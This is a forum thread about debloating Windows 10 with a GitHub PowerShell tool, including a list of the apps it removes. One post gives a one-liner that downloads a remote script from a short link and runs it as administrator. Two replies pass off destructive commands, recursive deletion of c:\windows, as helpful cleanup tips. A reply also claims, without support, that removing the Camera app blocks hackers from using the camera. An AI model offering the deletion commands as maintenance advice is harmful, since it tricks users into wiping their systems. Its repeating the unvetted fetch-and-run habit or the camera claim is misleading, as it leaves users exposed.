[TXSTYLE]

Came across this very helpful tool doing some maintenance on my PC's.

I've tested it on 3 of my PC's and it works flawlessly! Has a few more helpful tools as well.
Simply go to the following link, scroll to bottom of page and copy the entire Quick Download link/this:

iex ((New-Object System.Net.WebClient).DownloadString('https://git.io/debloat'))

Then run Powershell as Admin and paste and enter. You will then see a GUI with several options. Enjoy!

https://github.com/Sycnex/Windows10Debloater

[P1]

Let's move this to the Computing section.

[eluded]

Thanks, you can also use some basic PowerShell commands like this to help clean up your computer:

Remove-Item –path c:\windows\* –recurse

[Dang3r]

Or try just cd c:\windows and del *.*
Im not happy with W10 but my new hardware demands it. FU Bill and Greta.

[vreihen16]

With a footnoote that I'm not a fan of Debian branch linux distributions, this is one way to un-bloat Windows 10:

https://www.techworm.net/2019/03/ins...indows-10.html

Remember, Apple cited Windows 8.0 as the greatest sales driver for Macintosh computers ever.....

[sethwas]

Originally Posted by TXSTYLE

Came across this very helpful tool doing some maintenance on my PC's.

I've tested it on 3 of my PC's and it works flawlessly!

Just curious - what is actually being removed?

Seth

[Dang3r]

Originally Posted by sethwas

Just curious - what is actually being removed?

Seth

3DBuilder, Appconnector, Bing Finance, Bing News, Bing Sports, Bing Weather, Fresh Paint, Get started, Microsoft Office Hub, Microsoft Solitaire Collection, Microsoft Sticky Notes, OneNote, OneConnect, People, Skype for Desktop, Alarms, Camera, Maps, Phone, SoundRecorder, XboxApp, Zune Music, Zune Video, Windows communications apps, Minecraft, PowerBI, Network Speed Test, Phone, Messaging, Office Sway, Windows Feedback Hub, Bing Food And Drink, Bing Travel, Bing Health And Fitness, Windows Reading List, Twitter, Pandora, Flipboard, Shazam, CandyCrush, CandyCrushSoda, King apps, iHeartRadio, Netflix, DrawboardPDF, PicsArt-PhotoStudio, FarmVille 2 Country Escape, TuneInRadio, Asphalt8, NYT Crossword, CyberLink MediaSuite Essentials, Facebook, Royal Revolt 2, Caesars Slots Free Casino, March of Empires, Phototastic Collage, Autodesk SketchBook, Duolingo, EclipseManager, ActiproSoftware, BioEnrollment, Windows Feedback, Xbox Game CallableUI, Xbox Identity Provider, and ContactSupport,

and thats why you should do this right after a clean installation. Would you do later after profiles are set, some settings are gone.

[TXSTYLE]

Originally Posted by Dang3r

3DBuilder, Appconnector, Bing Finance, Bing News, Bing Sports, Bing Weather, Fresh Paint, Get started, Microsoft Office Hub, Microsoft Solitaire Collection, Microsoft Sticky Notes, OneNote, OneConnect, People, Skype for Desktop, Alarms, Camera, Maps, Phone, SoundRecorder, XboxApp, Zune Music, Zune Video, Windows communications apps, Minecraft, PowerBI, Network Speed Test, Phone, Messaging, Office Sway, Windows Feedback Hub, Bing Food And Drink, Bing Travel, Bing Health And Fitness, Windows Reading List, Twitter, Pandora, Flipboard, Shazam, CandyCrush, CandyCrushSoda, King apps, iHeartRadio, Netflix, DrawboardPDF, PicsArt-PhotoStudio, FarmVille 2 Country Escape, TuneInRadio, Asphalt8, NYT Crossword, CyberLink MediaSuite Essentials, Facebook, Royal Revolt 2, Caesars Slots Free Casino, March of Empires, Phototastic Collage, Autodesk SketchBook, Duolingo, EclipseManager, ActiproSoftware, BioEnrollment, Windows Feedback, Xbox Game CallableUI, Xbox Identity Provider, and ContactSupport,

and thats why you should do this right after a clean installation. Would you do later after profiles are set, some settings are gone.

Thanks Danger.

[Wolf 335]

Originally Posted by Dang3r

3DBuilder, Appconnector, Bing Finance, Bing News, Bing Sports, Bing Weather, Fresh Paint, Get started, Microsoft Office Hub, Microsoft Solitaire Collection, Microsoft Sticky Notes, OneNote, OneConnect, People, Skype for Desktop, Alarms, Camera, Maps, Phone, SoundRecorder, XboxApp, Zune Music, Zune Video, Windows communications apps, Minecraft, PowerBI, Network Speed Test, Phone, Messaging, Office Sway, Windows Feedback Hub, Bing Food And Drink, Bing Travel, Bing Health And Fitness, Windows Reading List, Twitter, Pandora, Flipboard, Shazam, CandyCrush, CandyCrushSoda, King apps, iHeartRadio, Netflix, DrawboardPDF, PicsArt-PhotoStudio, FarmVille 2 Country Escape, TuneInRadio, Asphalt8, NYT Crossword, CyberLink MediaSuite Essentials, Facebook, Royal Revolt 2, Caesars Slots Free Casino, March of Empires, Phototastic Collage, Autodesk SketchBook, Duolingo, EclipseManager, ActiproSoftware, BioEnrollment, Windows Feedback, Xbox Game CallableUI, Xbox Identity Provider, and ContactSupport,

and thats why you should do this right after a clean installation. Would you do later after profiles are set, some settings are gone.

Would removing the “camera” disable the actual camera use? Even from a hackers side?

[Dang3r]

Originally Posted by Wolf 335

Would removing the “camera” disable the actual camera use? Even from a hackers side?

As I wrote, use this only after a clean installation and before customizing , when you're trying this into your running profile lots of errors and fail messages would appear.
When the camera feature is removed, you have to install this separately with an extra cam to reenable this. When no camera command line is present within the installation it is not possible to trigger it from outside though.